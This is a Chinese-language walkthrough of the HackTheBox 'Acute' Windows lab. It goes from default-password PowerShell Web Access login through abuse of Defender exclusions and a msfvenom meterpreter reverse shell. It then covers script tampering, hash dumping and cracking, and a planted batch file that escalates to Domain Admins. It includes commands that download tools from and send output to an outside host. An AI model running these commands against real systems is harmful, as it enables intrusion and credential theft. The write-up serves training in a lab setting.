概述 (Overview)
HOST: 10.10.11.146
OS: WINDOWS
发布时间: 2022-02-12
完成时间: 2022-07-01
机器作者: dmw0ng[1]
困难程度: Hard
机器状态: 退休
MACHINE TAGS: #ActiveDirectory #PowerShell #WindowsDefenderAV
攻击链 (Kiillchain)
HTB 关于 Acute :
Acute 是一台 Hard 难度的 Windows 机器,从端口 443
上的网站开始。该网站的证书显示了一个域名 atsserver.active.local
。环顾网站,有几名员工被提及,有了这些信息,就可以在远程机器上构建一个可能的用户列表。列举一下网站,就会发现一份表格,里面有关于公司新员工的程序。该表单显示所有帐户最初设置时使用的默认密码。它还显示了 Windows PowerShell Web访问
(PSWA)会话的链接。结合枚举过程中的所有可用信息,攻击者可以作为 Acute-PC01
上的用户 edavies
进入 PowerShell 会话。然后,发现用户 edavies
也使用交互式会话登录。在监视 edavie
的行为时,可以检索 ATSERVER
的 imonks
用户的明文密码。用户 imonks
在 ATSSERVER
上的 Just Enough Administration
(JEA)下运行,但即使使用有限的命令集,攻击者也可以修改 ATSSERVER
上的脚本,以使 edavies
成为 Acute-PC01
上的本地管理员。既然 edavies
是本地管理员,就可以从系统中检索 HKLMsam
和 HKLMsystem
,以便提取所有用户的密码哈希。管理员';s 的散列被证明是可破解的,明文密码被重新用于 ATSSERVER
上的 awallace
。用户 awallace
能够在用户 Lois
将执行的目录上创建 BAT
脚本Lois有权将
imonks添加到
site_admin组,而该组又有权访问
Domain Admins组。因此,在将
imonks添加到
site_admin组后,他可以将自己添加到
Domain Admins` 组并获得管理权限。
枚举(Enumeration)
开始依然是使用 Nmap 对目标服务器开放端口进行扫描。
PORT STATE SERVICE VERSION
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Issuer: commonName=acute-ATSSERVER-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-06T06:34:58
| Not valid after: 2030-01-04T06:34:58
| MD5: cf3a d387 8ede 75cf 89c1 8806 0b6b c823
|_SHA-1: f954 d677 0cf3 54df 3fa2 ed4f 78c3 1902 c120 a368
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-01T03:56:43+00:00; 0s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
服务器只对外暴漏了一个 443 端口,在 ssl 证书中能够获悉该 Web 服务对应的域名。
Port 443 - WPWA
将域名 atsserver.acute.local
加入到 hosts 文件后进行访问,Web 服务访问正常。
随后在浏览页面也没功能时,发现一个可下载的 Word 文档。
https://atsserver.acute.local/New_Starter_CheckList_v7.docx
从里面的内容中大致判断是和远程培训有关,点击里面的链接能够跳转到一个 WPWA 的登录界面。
Windows PowerShell Web 访问使用户可登录到安全的网站,以使用 Windows PowerShell 会话、cmdlet 和脚本管理远程计算机。
立足点(Foothold)
知道它是干什么的之后,就需要寻找可访问 WPWA 的账号凭证了。在 Word 文档中可以得到一个初始化的默认密码:Password1!
密码有了开始找用户名,使用 exiftool 工具可以看到文档创建者为:FCastle
,其中备注信息中含有机器名:Acute-PC01
。当然,在 Word 文档属性中也能得到这些信息。
将这些信息进行汇总后,尝试登录但失败了。
这个地方卡了我挺久的。最后在 Web 页面中发现存在一些人名,尝试将这些姓名转换成账号进行登录。
账号列表:
$ cat users.txt
lois
muse
myJob
dc_manage
fcastle
Acute-PC01
awallace
chall
edavies
imonks
jmorgan
lhopkins
最终在尝试使用 edavies
账号进行登录时成功了,进行了 WPAW 交互控制台。
edavies:Password1!:Acute-PC01
横向移动(Lateral Movement)
简单查看下目录发现没有 user flag 信息,说明需要进行账号横向移动。首先检查下服务器中的登录用户:
PS C:Usersedavies> net users
Administrator DefaultAccount Guest
Natasha WDAGUtilityAccount
PS C:Users> dir
Directory: C:Users
Mode LastWriteTime Length Name
---- ------------- ------ ---- d----- 12/21/2021 1:01 PM administrator.ACUTE
d----- 12/22/2021 1:26 AM edavies
d----- 12/21/2021 10:50 PM jmorgan
d----- 11/19/2021 9:29 AM Natasha
d-r--- 11/18/2020 11:43 PM Public
在查看网卡信息时发现 IP 地址是一个 172 开头的地址,而非服务器 10 开头的地址。说明当前可能在虚拟容器。
搜索引擎查询网卡描述信息时,发现 Hyper-V 是 Microsoft 的硬件虚拟化产品。使用 Test-NetConnection
命令对网关 IP 进行验证,发现该命令是可以使用的。
尝试将 nishang 中端口扫描脚本传递至目标服务器,失败了。从错误提示中可以看到被 Windows Defender AV
阻断了,这里我没需要进行 bypass。
在尝试 AMSI Bypass 之前,通过 google 搜索了解到在 Windows 11 以下版本中,任意用户都可以通过查询注册表信息找到 AV 配置的白名单目录。
Windows Defender AV allows Everyone to read the configured exclusions on the system 🤦
reg query "HKLMSOFTWAREMicrosoftWindows DefenderExclusions" /s pic.twitter.com/dpTFwMVRje
— Antonio Cocomazzi (@splinter_code) January 12, 2022
Windows Defender AV 允许每个人读取系统上配置的排除项.
reg query "HKLMSOFTWAREMicrosoftWindows DefenderExclusions" /s
从结果中可以看到 C:Utils
文件夹存在白名单中,接下来就简单了,将端口扫描脚本、peas 等脚本直接传到该文件下运行即可。
PS C:Utils> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:Utils> ./winPEASx64.exe > winPEASx64.txt
PS C:Utils> cmd /c '.ncat.exe -nv 10.10.14.12 9091 < .winPEASx64.txt'
对 NC 接收到扫描报告进行分析,发现 edge 浏览器是处于运行状态。
随后尝试上线 MSF 控制,并进行桌面截图看看它在做什么。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe
# msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost <ip>; set lport <port>; exploit"
将生成的 reverse.exe
可执行文件传达至 C:Utils
文件夹内,运行上线后执行 screenshare
命令获取截图(screenshare
功能可以定期截取目标桌面的屏幕截图,并允许攻击者在线预览)。
meterpreter > screenshare
[*] Preparing player...
[*] Opening player at: /home/x/hackthebox/Acute/file/FVOyjijg.html
[*] Streaming...
可以看到用户正在进行 PowerShell 凭证登录,但出现了大量的报错。将里面的信息进行提取:
$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acuteimonks",$passwd)
Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $creds
可以看到,在执行最后一段内容时出现错误:访问被拒绝。这意味用户账号无权限创建从当前主机到目标主机的远程 PowerShell 会话,怀疑是配置权限问题。
但我们可以借助 invoke-command 命令来在本地或远程计算机上运行命令。
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}
权限提升(Privilege Escalation)
可以看到在 imonks 用户下除了 user.txt 文件,还存在一个 wm.ps1 脚本。
PS C:Utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -command {cat "..Desktopwm.ps1"}
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acutejmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:Utils>
这个脚本使用的身份凭证是 jmorgan 用户,而上面的两个用户都属于域用户:
这里的 jmorgan 用户上线也很简单,直接将 Get-Volume
内容替换成 cmd 执行就可以了。
PS C:UsersedaviesDocuments> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {(Get-Content "c:usersimonksDesktopwm.ps1" -Raw) -Replace 'Get-Volume', 'cmd.exe /c c:utilsreverse.exe' | Set-Content "c:usersimonksDesktopwm.ps1"}
再次通过 Invoke-Command 进行命令执行,成功上线拿到 jmorgan 用户。
eterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
...snip...
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
meterpreter > execute -f cmd.exe -i -H
Process 4908 created.
Channel 3 created.
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.
C:UsersjmorganDocuments>
在检查用户权限时发现它具备 SeDebugPrivilege
权限,那么可以很轻松的利用这一特性将机器上的 NTLM HASH 进行 dump。接下里来就是对 Administrator 账号的 HASH 离线破解了。
$ hashcat -a 0 -m 1000 ./hashdump.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O
a29f7623fd11550def0192de9246f46b:Password@123
明文密码是得到了,但在操作 Administrator 用户执行命令是出现错误,说明域 Administrator 使用的不是这个密码。尝试碰撞下其他的账号,发现 awallace 账号使用了该密码。
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acuteawallace",$passwd)
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}
查看下用户所属组,含 Domain Users
、Managers
两个组。
在查看所有组信息时,发现一个 Site_admin
组,描述信息中注明可以访问操作域管理员组。
但直接进行添加是无法生效的,需要寻找其他路径。在 C:Program Fileskeepmeon
文件夹中找到突破口,该脚本 Lois
用户会每五分钟执行一次。
而通过之前的 Word 文档中对 Lois
用户的描述,他是唯一有权更改域组成员资格的人员。
所以这里的权限提升路径已经很清晰了,在 Keepmeon
文件夹内新建一个 bat 脚本,将任意用户添加至 Site_Admin
组即可。
PS C:UsersedaviesDocuments> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -ScriptBlock {Set-Content -Path 'c:program filesKeepmeon�x584a1.bat' -Value 'net group "Site_Admin" awallace /add /domain'}
PS C:UsersedaviesDocuments> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {ls 'c:program filesKeepmeon'}
最终使用 awallace 账号成功已域管理员身份读取到 Administrator 目录的 root flag。
参考
- • https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender
- • https://github.com/InfosecMatter/Minimalistic-offensive-security-tools.git
- • https://www.pstips.net/
引用链接
[1]
dmw0ng: https://app.hackthebox.com/users/610173
原文始发于微信公众号(一个人的安全笔记):[HTB] Acute Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论